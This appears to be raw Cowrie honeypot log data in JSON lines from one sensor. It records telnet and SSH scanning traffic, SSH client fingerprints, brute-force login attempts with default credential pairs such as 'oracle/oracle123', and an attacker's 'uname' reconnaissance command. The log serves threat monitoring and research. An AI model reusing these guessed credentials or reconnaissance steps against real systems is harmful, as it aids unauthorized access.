{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":50826,"dst_ip":"10.17.0.5","dst_port":23,"session":"b81e3076e5a1","protocol":"telnet","message":"New connection: 108.61.242.114:50826 (10.17.0.5:23) [session: b81e3076e5a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:16.458655Z"}
{"eventid":"cowrie.session.closed","duration":30.857287883758545,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:16.559538Z","src_ip":"185.111.235.80","session":"1860d3953d58","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":48116,"dst_ip":"10.17.0.5","dst_port":23,"session":"48c7deb23da1","protocol":"telnet","message":"New connection: 185.111.235.80:48116 (10.17.0.5:23) [session: 48c7deb23da1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:16.993762Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":48178,"dst_ip":"10.17.0.5","dst_port":23,"session":"b5fab17f1576","protocol":"telnet","message":"New connection: 185.111.235.80:48178 (10.17.0.5:23) [session: b5fab17f1576]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:17.018137Z"}
{"eventid":"cowrie.session.closed","duration":31.214860439300537,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:17.254494Z","src_ip":"185.111.235.80","session":"ba5429ce32bf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.81630301475525,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:17.516641Z","src_ip":"185.111.235.80","session":"18b62f435b9c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":50840,"dst_ip":"10.17.0.5","dst_port":23,"session":"98da40a37720","protocol":"telnet","message":"New connection: 108.61.242.114:50840 (10.17.0.5:23) [session: 98da40a37720]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:17.554381Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":49266,"dst_ip":"10.17.0.5","dst_port":22,"session":"a85607280f64","protocol":"ssh","message":"New connection: 176.65.139.103:49266 (10.17.0.5:22) [session: a85607280f64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:17.626625Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:17.633917Z","src_ip":"176.65.139.103","session":"a85607280f64","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:17.716665Z","src_ip":"176.65.139.103","session":"a85607280f64","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.167989015579224,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:17.915722Z","src_ip":"185.111.235.80","session":"ffaa39eb9912","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.552380084991455,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:18.015264Z","src_ip":"185.111.235.80","session":"9d31a03910b2","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle123","message":"login attempt [oracle/oracle123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:18.051234Z","src_ip":"176.65.139.103","session":"a85607280f64","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.24427103996277,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:18.055101Z","src_ip":"185.111.235.80","session":"abe90feaad52","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":52944,"dst_ip":"10.17.0.5","dst_port":23,"session":"e3dc6e6b5ccf","protocol":"telnet","message":"New connection: 108.61.242.114:52944 (10.17.0.5:23) [session: e3dc6e6b5ccf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:18.071677Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":53904,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a1d0543eb68","protocol":"telnet","message":"New connection: 185.111.235.80:53904 (10.17.0.5:23) [session: 6a1d0543eb68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:18.237908Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:18.332469Z","src_ip":"176.65.139.103","session":"a85607280f64","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:18.336967Z","src_ip":"176.65.139.103","session":"a85607280f64","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.55076003074646,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:18.349107Z","src_ip":"185.111.235.80","session":"407738d9cc3a","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:18.442379Z","src_ip":"176.65.139.103","session":"a85607280f64","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:18.448615Z","src_ip":"176.65.139.103","session":"a85607280f64","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.933894872665405,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:18.634864Z","src_ip":"185.111.235.80","session":"f38b8490e7d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.58447265625,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:18.883565Z","src_ip":"185.111.235.80","session":"426de922187d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":52948,"dst_ip":"10.17.0.5","dst_port":23,"session":"1971c916c74f","protocol":"telnet","message":"New connection: 108.61.242.114:52948 (10.17.0.5:23) [session: 1971c916c74f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:18.966142Z"}
{"eventid":"cowrie.session.closed","duration":31.211182832717896,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:19.004992Z","src_ip":"185.111.235.80","session":"77ac579cfb0a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":59634,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e90c6cbb1e4","protocol":"telnet","message":"New connection: 185.111.235.80:59634 (10.17.0.5:23) [session: 9e90c6cbb1e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:19.593663Z"}
{"eventid":"cowrie.session.closed","duration":30.90742564201355,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:19.946571Z","src_ip":"185.111.235.80","session":"5680a747014d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":53792,"dst_ip":"10.17.0.5","dst_port":23,"session":"f988717ad678","protocol":"telnet","message":"New connection: 185.111.235.80:53792 (10.17.0.5:23) [session: f988717ad678]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:20.234156Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":34186,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b7c10e5f4ba","protocol":"telnet","message":"New connection: 185.111.235.80:34186 (10.17.0.5:23) [session: 9b7c10e5f4ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:20.247682Z"}
{"eventid":"cowrie.session.closed","duration":30.84067726135254,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:20.272516Z","src_ip":"185.111.235.80","session":"b24e54d0164c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":34802,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a5d4549f0e0","protocol":"telnet","message":"New connection: 185.111.235.80:34802 (10.17.0.5:23) [session: 3a5d4549f0e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:20.350770Z"}
{"eventid":"cowrie.session.closed","duration":31.322170734405518,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:20.366838Z","src_ip":"185.111.235.80","session":"14a140741ef7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.26746082305908,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:20.535271Z","src_ip":"185.111.235.80","session":"bf97bf8df82c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":35752,"dst_ip":"10.17.0.5","dst_port":23,"session":"e2ff0a7845a8","protocol":"telnet","message":"New connection: 185.111.235.80:35752 (10.17.0.5:23) [session: e2ff0a7845a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:20.569940Z"}
{"eventid":"cowrie.session.closed","duration":37.2066924571991,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:20.590658Z","src_ip":"185.111.235.80","session":"e6806a8612cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.89517331123352,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:21.680440Z","src_ip":"185.111.235.80","session":"1247770be146","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.73591184616089,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:21.942386Z","src_ip":"185.111.235.80","session":"b60a188a32f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.01176619529724,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:22.102926Z","src_ip":"185.111.235.80","session":"1bff424a7837","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.12484097480774,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:22.284398Z","src_ip":"185.111.235.80","session":"d39281009c96","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.624403953552246,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:22.355361Z","src_ip":"185.111.235.80","session":"5b17ac9afec3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":52954,"dst_ip":"10.17.0.5","dst_port":23,"session":"bda6391bec4c","protocol":"telnet","message":"New connection: 108.61.242.114:52954 (10.17.0.5:23) [session: bda6391bec4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:22.380533Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":39070,"dst_ip":"159.203.135.109","dst_port":23,"session":"2b528d05c9a3","protocol":"telnet","message":"New connection: 117.120.7.112:39070 (159.203.135.109:23) [session: 2b528d05c9a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:22.571321Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":52956,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a2d3657ca3e","protocol":"telnet","message":"New connection: 108.61.242.114:52956 (10.17.0.5:23) [session: 1a2d3657ca3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:22.608211Z"}
{"eventid":"cowrie.session.closed","duration":31.184877395629883,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:22.707576Z","src_ip":"185.111.235.80","session":"c7252a3251dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":44742,"dst_ip":"10.17.0.5","dst_port":23,"session":"61368e8ce0ef","protocol":"telnet","message":"New connection: 185.111.235.80:44742 (10.17.0.5:23) [session: 61368e8ce0ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:22.757407Z"}
{"eventid":"cowrie.session.closed","duration":30.69700264930725,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:22.973454Z","src_ip":"185.111.235.80","session":"ae0896f06b1e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":41928,"dst_ip":"10.17.0.5","dst_port":23,"session":"71f336a10310","protocol":"telnet","message":"New connection: 185.111.235.80:41928 (10.17.0.5:23) [session: 71f336a10310]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:23.126313Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":46838,"dst_ip":"10.17.0.5","dst_port":23,"session":"10ba75cab202","protocol":"telnet","message":"New connection: 185.111.235.80:46838 (10.17.0.5:23) [session: 10ba75cab202]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:23.246144Z"}
{"eventid":"cowrie.session.closed","duration":30.95936369895935,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:23.322095Z","src_ip":"108.61.242.114","session":"0749cd3d52bc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.383586883544922,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:23.374079Z","src_ip":"185.111.235.80","session":"fb52a2e2dda6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":47550,"dst_ip":"10.17.0.5","dst_port":23,"session":"a778ea88adef","protocol":"telnet","message":"New connection: 185.111.235.80:47550 (10.17.0.5:23) [session: a778ea88adef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:23.399951Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":52970,"dst_ip":"10.17.0.5","dst_port":23,"session":"673e8b8a1084","protocol":"telnet","message":"New connection: 108.61.242.114:52970 (10.17.0.5:23) [session: 673e8b8a1084]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:23.440189Z"}
{"eventid":"cowrie.session.closed","duration":30.334420919418335,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:23.939797Z","src_ip":"185.111.235.80","session":"cfbc2a907017","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.922579526901245,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:23.987241Z","src_ip":"185.111.235.80","session":"77915b2c6b75","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":52986,"dst_ip":"10.17.0.5","dst_port":23,"session":"9fcb8ae10456","protocol":"telnet","message":"New connection: 108.61.242.114:52986 (10.17.0.5:23) [session: 9fcb8ae10456]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:24.116313Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":50606,"dst_ip":"10.17.0.5","dst_port":23,"session":"1efbb14db972","protocol":"telnet","message":"New connection: 185.111.235.80:50606 (10.17.0.5:23) [session: 1efbb14db972]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:24.136560Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":46462,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd425fb3c621","protocol":"telnet","message":"New connection: 185.111.235.80:46462 (10.17.0.5:23) [session: fd425fb3c621]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:24.161112Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":52576,"dst_ip":"10.17.0.5","dst_port":23,"session":"f8377342d449","protocol":"telnet","message":"New connection: 185.111.235.80:52576 (10.17.0.5:23) [session: f8377342d449]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:24.605566Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":32850,"dst_ip":"10.17.0.5","dst_port":22,"session":"c89179e555e5","protocol":"ssh","message":"New connection: 176.65.139.103:32850 (10.17.0.5:22) [session: c89179e555e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:24.771509Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:24.777063Z","src_ip":"176.65.139.103","session":"c89179e555e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":53310,"dst_ip":"10.17.0.5","dst_port":23,"session":"005ff94113a4","protocol":"telnet","message":"New connection: 185.111.235.80:53310 (10.17.0.5:23) [session: 005ff94113a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:24.792581Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:24.866402Z","src_ip":"176.65.139.103","session":"c89179e555e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":52998,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d3f5fb74ec3","protocol":"telnet","message":"New connection: 108.61.242.114:52998 (10.17.0.5:23) [session: 0d3f5fb74ec3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:24.946659Z"}
{"eventid":"cowrie.session.closed","duration":30.862600803375244,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:25.005313Z","src_ip":"185.111.235.80","session":"3d2647423ff6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.187158584594727,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:25.014538Z","src_ip":"185.111.235.80","session":"cff06c1d989b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.841768503189087,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:25.041375Z","src_ip":"185.111.235.80","session":"2b9dbd27118d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":51336,"dst_ip":"10.17.0.5","dst_port":23,"session":"35f40d997969","protocol":"telnet","message":"New connection: 185.111.235.80:51336 (10.17.0.5:23) [session: 35f40d997969]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:25.285640Z"}
{"eventid":"cowrie.session.closed","duration":31.25673270225525,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:25.320044Z","src_ip":"108.61.242.114","session":"0a8d2e40d314","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"aaa","password":"123456","message":"login attempt [aaa/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:25.385754Z","src_ip":"176.65.139.103","session":"c89179e555e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.188979625701904,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:25.518517Z","src_ip":"108.61.242.114","session":"c2525eb3520e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.90278387069702,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:25.920655Z","src_ip":"185.111.235.80","session":"f3d6ecc2d475","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.825873851776123,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:26.440793Z","src_ip":"108.61.242.114","session":"b4d78f55aaab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:26.509945Z","src_ip":"176.65.139.103","session":"c89179e555e5","protocol":"ssh"}
